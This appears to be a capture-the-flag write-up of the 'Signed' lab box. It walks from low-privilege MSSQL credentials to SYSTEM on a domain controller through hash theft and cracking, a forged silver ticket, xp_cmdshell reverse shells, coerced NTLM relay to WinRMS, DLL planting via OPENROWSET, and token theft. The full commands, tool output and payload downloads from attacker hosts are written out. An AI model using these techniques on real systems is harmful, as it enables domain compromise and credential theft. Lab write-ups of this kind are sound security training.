
Reconnaissance
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.129.242.173:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-17T15:14:34
|_Not valid after: 2055-11-17T15:14:34
| ms-sql-ntlm-info:
| 10.129.242.173:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-11-17T15:59:13+00:00; 0s from scanner time.
The target only has a single port open and listens for connections to MSSQL. nmap displays the DNS name signed.htb along with the computer name dc01.signed.htb so it’s safe to assume this is the Domain Controller for the domain. Before having a closer look I add those entries to my /etc/hosts file.
Initial Access
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service:
scott:Sm230#C5NatH
Due to the assume-breach scenario I already have working credentials for MSSQL and can log straight in. Unfortunately the user scott seems unprivileged and cannot do much, therefore I try to steal a NTLMv2 hash through xp_dirtree.
$ impacket-mssqlclient scott:'Sm230#C5NatH'@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (scott guest@master)> xp_dirtree \\10.10.10.10\share\wow
subdirectory depth file
------------ ----- ---- As soon as I spin up responder to listen for incoming requests and run the command in the MSSQL shell, there’s a hit from mssqlsvc. Feeding that hash into hashcat returns purPLE9795!@ and grants me access to the domain itself.
$ sudo responder -i tun0
--- SNIP ---
[SMB] NTLMv2-SSP Client : 10.129.242.173
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:8ed18788a2657a1d:56D0D<SNIP>Privilege Escalation
Shell as mssqlsvc
Based on the name mssqlsvc I’m now running in the context of the MSSQL service account but I’m still not high privileged. Enumerating the logins with enum_logins shows every member of the group IT being a sysadmin. Before I can try and forge a silver ticket I have to know the SID of the domain and the RID of the IT group. Executing SUSER_SID returns the desired data, but in the wrong format.
$impacket-mssqlclient -windows-auth mssqlsvc:'purPLE9795!@'@signed.htb
SQL (SIGNED\mssqlsvc guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
--------------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
##MS_PolicyEventProcessingLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
##MS_PolicyTsqlExecutionLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
SIGNED\IT WINDOWS_GROUP 0 1 0 0 0 0 0 0 0
NT SERVICE\SQLWriter WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\Winmgmt WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\MSSQLSERVER WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT AUTHORITY\SYSTEM WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
NT SERVICE\SQLSERVERAGENT WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\SQLTELEMETRY WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
scott SQL_LOGIN 0 0 0 0 0 0 0 0 0
SIGNED\Domain Users WINDOWS_GROUP 0 0 0 0 0 0 0 0 0
SQL (SIGNED\mssqlsvc guest@master)> SELECT SUSER_SID('SIGNED\IT')
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000' The return value is in binary format and has to be converted first. This can be done directly in MSSQL1 or in other programming languages like Python. The following script takes converts the SID for the IT group into the string representation S-1-5-21-4088429403-1159899800-2753317549-1105.
def convert(hex_sid: str) -> str:
b = bytes.fromhex(hex_sid)
revision = b[0]
subauth_count = b[1]
identifier_authority = int.from_bytes(b[2:8], byteorder='big')
subauthorities = []
offset = 8
for _ in range(subauth_count):
subauth = int.from_bytes(b[offset:offset+4], byteorder='little')
subauthorities.append(str(subauth))
offset += 4
sid = f"S-{revision}-{identifier_authority}-" + "-".join(subauthorities)
return sid
hex_sid = "0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"
print(convert(hex_sid))Now I can proceed to craft the silver ticket for any account, I choose the Administrator with well-known ID 500 and supply the domain SID as well as the RID 1105 for the IT group. The SPN does not actually matter because impacket will try to apply the correct one when passing the ticket2. This dumps the forged ticket into Administrator.ccache.
$ impacket-ticketer -nthash $(pypykatz crypto nt 'purPLE9795!@') \
-domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
-domain signed.htb \
-spn doesnotmatter/signed.htb \
-groups 1105 \
-user-id 500 \
Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccacheAfter exporting the ticket as environment variable KRB5CCNAME I can use it with mssqlclient to connect to the target. Checking if the current user is part of the sysadmin group returns true and I can use those privileges to enable xp_cmdshell. Executing a reverse shell payload grants me a shell as mssqlsvc on the Domain Controller.
$ export KRB5CCNAME=Administrator.ccache
$ impacket-mssqlclient -k -no-pass signed.htb
SQL (SIGNED\Administrator dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
1
SQL (SIGNED\Administrator dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell "whoami"
output
---------------
signed\mssqlsvc
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell "powershell -e JAB<SNIP>"Shell as Administrator
The user mssqlsvc is not part of interesting groups and does not have any special privileges assigned to it. The open ports on the machine show the common ones associated with a DC and also WinRMS.
PS > netstat -ano |findstr TCP
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 640
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 900
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 640
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 640
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 900
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 640
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 2868
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 640
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 640
TCP 0.0.0.0:5986 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2824I then upload chisel and use that to open a SOCKS proxy for me to access all the ports from my local machine. This lets me use nxc to check if the target is vulnerable to NTLM reflection. This means I could relay authentication to ports other than SMB and since WinRMS is available this makes it a good target.
$ proxychains -q nxc smb dc01.signed.htb -u mssqlsvc \
-p 'purPLE9795!@' \
-M ntlm_reflection
SMB 224.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 224.0.0.1 445 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
NTLM_REF... 224.0.0.1 445 DC01 VULNERABLE (can relay SMB to other protocols except SMB on 224.0.0.1)In order for this to work there has to be a special DNS entry pointing towards my machine3. Trying to add this entry with bloodyAD is successful.
$ proxychains -q bloodyAD --host dc01.signed.htb -d signed.htb -u mssqlsvc -p 'purPLE9795!@' add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.10.10.10
[+] localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA has been successfully updatedAt the time of writing ntlmrelayx from impacket does not work properly with WinRMS but there’s already a branch with the needed modifications. After cloning the repository and installing the necessary dependencies, I can spin it up while pointing towards winrms://dc01.signed.htb through the SOCKS proxy.
$ git clone https://github.com/fortra/impacket -b fix_ntlmrelayx_winrmsattack && cd impacket
$ uv venv && source .venv/bin/activate
$ uv pip install .
$ proxychains -q python examples/ntlmrelayx.py -t winrms://dc01.signed.htb \
-smb2support \
-i
Impacket v0.13.0.dev0+20250930.122532.914efa53 - Copyright Fortra, LLC and its affiliated companies
--- SNIP ---
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.242.173, attacking target winrms://dc01.signed.htb
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.242.173 against winrms://dc01.signed.htb SUCCEED [1]
[*] winrms:///@dc01.signed.htb [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
[*] All targets processed!
[*] (SMB): Connection from 10.129.242.173 controlled, but there are no more targets left!I then use nxc to coerce the DC to authenticate to my relay via the planted DNS entry. As soon as I do this the authentication gets relayed back to the target and an interactive session is opened, accessible by connecting to my local port 11000.
$ proxychains -q nxc smb dc01.signed.htb -u mssqlsvc \
-p 'purPLE9795!@' \
-M coerce_plus \
-o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
SMB 224.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 224.0.0.1 445 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
COERCE_PLUS 224.0.0.1 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 224.0.0.1 445 DC01 Exploit Success, efsrpc\EfsRpcAddUsersToFileWith nc I connect to the port and I’m dropped into a shell as NT Authority\System.
$ nc 127.0.0.1 11000
Type help for list of commands
# whoami
nt authority\systemUnintended Paths
OPENROWSET
Instead of just adding the IT group to the silver ticket, adding also the 512 (Domain Admins) and 519 (Enterprise Admins) opens another path to privilege escalation. Here I have to create a ticket for the mssqlsvc instead of the Administrator. For OPENROWSET delegation must be possible4 and the built-in administrator is protected.
Authenticating with the ticket allows me to read files in the context of the Domain Admin group and I can read the final flag right away.
$ impacket-ticketer -nthash $(pypykatz crypto nt 'purPLE9795!@') \
-domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
-domain signed.htb \
-spn doesnotmatter/signed.htb \
-groups 512,519,1105 \
-user-id 1103 \
mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in mssqlsvc.ccache
$ export KRB5CCNAME=mssqlsvc.ccache
$ impacket-mssqlclient -k -no-pass signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
SQL (SIGNED\mssqlsvc dbo@master)> SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) t
BulkColumn
---------------------------------------
b'e403638005418<REDACTED>\r\n' Now just reading files does not grant me privileged shell on the system (or does it?). OPENROWSET can also be used to write files on the target as shown in this blog post. This enables another way to privilege escalation that 0xdf already showcased in his write-up of Proper.
All the necessary files are contained within this repo and I begin by cloning it and putting up a new SMB server with impacket-smbserver. Then I place phoneinfo.dll into C:\Windows\System32 by using the error output of OPENROWSET.
SELECT BulkColumn FROM OPENROWSET(BULK '\\10.10.10.10\share\phoneinfo.dll',FORMATFILE='\\10.10.10.10\share\input.fmt',CODEPAGE='RAW', ERRORFILE='C:\Windows\System32\phoneinfo.dll') tWith xp_cmdshell I get a shell on the target and then replicate the steps from the source code. First I create the directory C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e and place Report.wer there. The necessary prerequisites are in place and I run the scheduled task QueueReporting. This loads the DLL and opens port 1337.
PS > mkdir C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e
Directory: C:\programdata\microsoft\windows\wer\reportqueue
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2025 2:18 PM a_b_c_d_e
PS > iwr http://10.10.10.10/Report.wer -outfile C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e\Report.wer
PS > cmd /c SCHTASKS /RUN /TN "Microsoft\Windows\Windows Error Reporting\QueueReporting"
SUCCESS: Attempted to run the scheduled task "Microsoft\Windows\Windows Error Reporting\QueueReporting".
PS > netstat -ano | findstr 1337
TCP 127.0.0.1:1337 0.0.0.0:0 LISTENING 4864Accessing the port via nc drops me into a SYSTEM shell.
proxychains -q nc -v 127.0.0.1 1337
127.0.0.1 [127.0.0.1] 1337 (?) open : Operation now in progress
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\systemToken Shenanigans
Another unintended path abuses the fact that service accounts share the same logon session and therefore its possible to steal a more privileged token from rpcss as described here. Exploiting this makes use of NtObjectManager and this can be downloaded on a Windows machine and transferred over5 .
PS C:\tmp> iwr http://10.10.14.227/NtObjectManager.zip -useba -outfile NtObjectManager.zip
PS C:\tmp> Expand-Archive -Path .\NtObjectManager.zip -DestinationPath .
PS C:\tmp> ls
Directory: C:\tmp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2025 3:08 PM NtObjectManager
-a---- 11/17/2025 2:25 PM 9760768 chisel.exe
-a---- 11/17/2025 3:08 PM 5808081 NtObjectManager.zip
PS C:\tmp> import-module .\NtObjectManagerNow I just follow the steps from the blog post by creating a new named pipe and then listen to it in the background. I open a handle to the pipe and wait for the job to complete. Last but not least I can get the token with additional privileges enabled.
PS > $pipe = New-NtNamedPipeFile \\.\pipe\ABC -Win32Path
PS > $job = Start-Job { $pipe.Listen() }
PS > $file = Get-NtFile \\localhost\pipe\ABC -Win32Path
PS > Wait-Job $job | Out-Null
PS > $token = Use-NtObject($pipe.Impersonate()) { Get-NtToken -Impersonation }
PS > $token.privileges
Name Luid Enabled
---- ---- -------
SeAssignPrimaryTokenPrivilege 00000000-00000003 True
SeIncreaseQuotaPrivilege 00000000-00000005 True
SeMachineAccountPrivilege 00000000-00000006 True
SeChangeNotifyPrivilege 00000000-00000017 True
SeImpersonatePrivilege 00000000-0000001D True
SeCreateGlobalPrivilege 00000000-0000001E True
SeIncreaseWorkingSetPrivilege 00000000-00000021 TrueIn possession of the $token, I can use it to spawn a new process with New-Win32Process. The established session now has the SeImpersonatePrivilege enabled and then can be used to escalate privileges.
PS > New-Win32Process -Token $token "powershell -e JABjAGw<SNIP>"
Process : powershell.exe
Thread : thread:1288 - process:2264
Pid : 2264
Tid : 1288
TerminateOnDispose : False
ExitStatus : 259
ExitNtStatus : STATUS_PENDINGConsoleHost_History
With the same setup as in OPENROWSET I can also use the read primitive in the Administrators context to access the PowerShell history file for Administrator and get the password for the account. After creating a SOCKS proxy, the password Th1s889Rabb!t lets me access the target via WinRM.
$ impacket-mssqlclient -k -no-pass signed.htb
SQL (SIGNED\mssqlsvc dbo@master)> SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_History.txt', SINGLE_CLOB) t
BulkColumn
--- SNIP ---
Get-NetConnectionProfile
Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset
Set-Service TermService -StartupType disabled
exit
--- SNIP ---
$ proxychains -q evil-winrm -u Administrator -p 'Th1s889Rabb!t' -i dc01.signed.htbAttack Path
flowchart TD subgraph "Initial Access" A(Access to MSSQL as scott) -->|xp_dirtree| B(NTLMv2 for mssqlsvc) B -->|Crack Hash| C(Access as mssqlsvc) end subgraph "Privilege Escalation" C -->|Forge Silver Ticket| D(Sysadmin) D -->|xp_cmdshell| E(Shell as mssqlsvc) E -->|Create DNS entry| F(localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA pointing to attacker) F -->|Coerce authentication & relay to WinRMS| G(Shell as SYSTEM/Administrator) end subgraph "Unintended" C -->|Forge Silver Ticket with Domain Admin Group| H(MSSQL Session) H -->|OPENROWSET to read ConsoleHost_History with passowrd| G H -->|OPENROWSET to write with privileges| I(Write DLL to C:\Windows\System32) E & I -->|WerTrigger| J(Open Port 1337) J -->|netcat| G C -->|Steal Token from rpcss| K(Token with SeImpersonate) K -->|getsystem| G end
